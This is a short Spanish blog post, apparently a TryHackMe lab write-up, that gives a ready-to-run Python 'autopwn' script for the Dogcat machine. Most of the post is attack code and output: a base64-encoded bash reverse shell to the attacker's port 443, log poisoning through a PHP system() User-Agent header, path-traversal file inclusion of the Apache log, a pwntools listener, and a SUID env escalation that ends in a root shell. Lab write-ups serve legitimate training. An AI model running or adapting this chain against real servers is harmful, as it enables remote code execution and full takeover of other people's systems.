Dogcat (AutoPWN) - Try Hack Me

1 minute read

  1 minute read

Esta es una máquina de dificultad media bastante sencilla, así que quise hacer un script autopwn que automatizara tanto la intrusión como la escalada de privilegios.
Dejaré el proceso escrito y en video para que todo se entienda.

Antes de usarlo se debe de ejecutar el siguite comando, para luego introducir el otput en el script:

~$> echo "/bin/bash -c 'bash -i >& /dev/tcp/[TU_IP]/443 0>&1'" | base64
L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjkuMjQyLjIxNy80NDMgMD4mMScK

Se modifica el payload y la url:

#!/usr/bin/python3

import signal, time
from pwn import *

def def_handler(sig, frame):
	print("\n[!] Exiting...\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

lport = 443
payload = 'echo "[CADENA_EN_BASE64]" | base64 -d | bash' # <- CHANGE THIS
url = 'http://[MACHINE_IP]/?view=./dog/../../../../../../../var/log/apache2/access.log&ext=&cmd=%s' % (payload)

def makeRequest():
	headers = {
	    'User-Agent': '<?php system($_GET[\'cmd\']); ?>'
	}

	r = requests.get(url, headers=headers)

if __name__ == '__main__':
	try:
		log.info("Gaining shell as www-data user")
		time.sleep(1)
		threading.Thread(target=makeRequest).start()
	except Exception as e:
		log.failure(str(e))

	shell = listen(lport, timeout=20).wait_for_connection()

	if shell.sock is None:
		log.failure("Cudn't connect")
	else:
		log.info("Obteining root")
		time.sleep(1)
		shell.sendline("export TERM=xterm; export SHELL=bash; /usr/bin/env /bin/bash -p")
		shell.interactive()

Y una vez ejecutado el script obtenemos shell como root:

~$>./Dogcat-AutoPWN.py
[*] Gaining shell as www-data user
[+] Trying to bind to :: on port 443: Done
[+] Waiting for connections on :::443: Got connection from ::ffff:10.10.52.7 on port 35786
[*] Obteining root
[*] Switching to interactive mode
$
$ whoami
root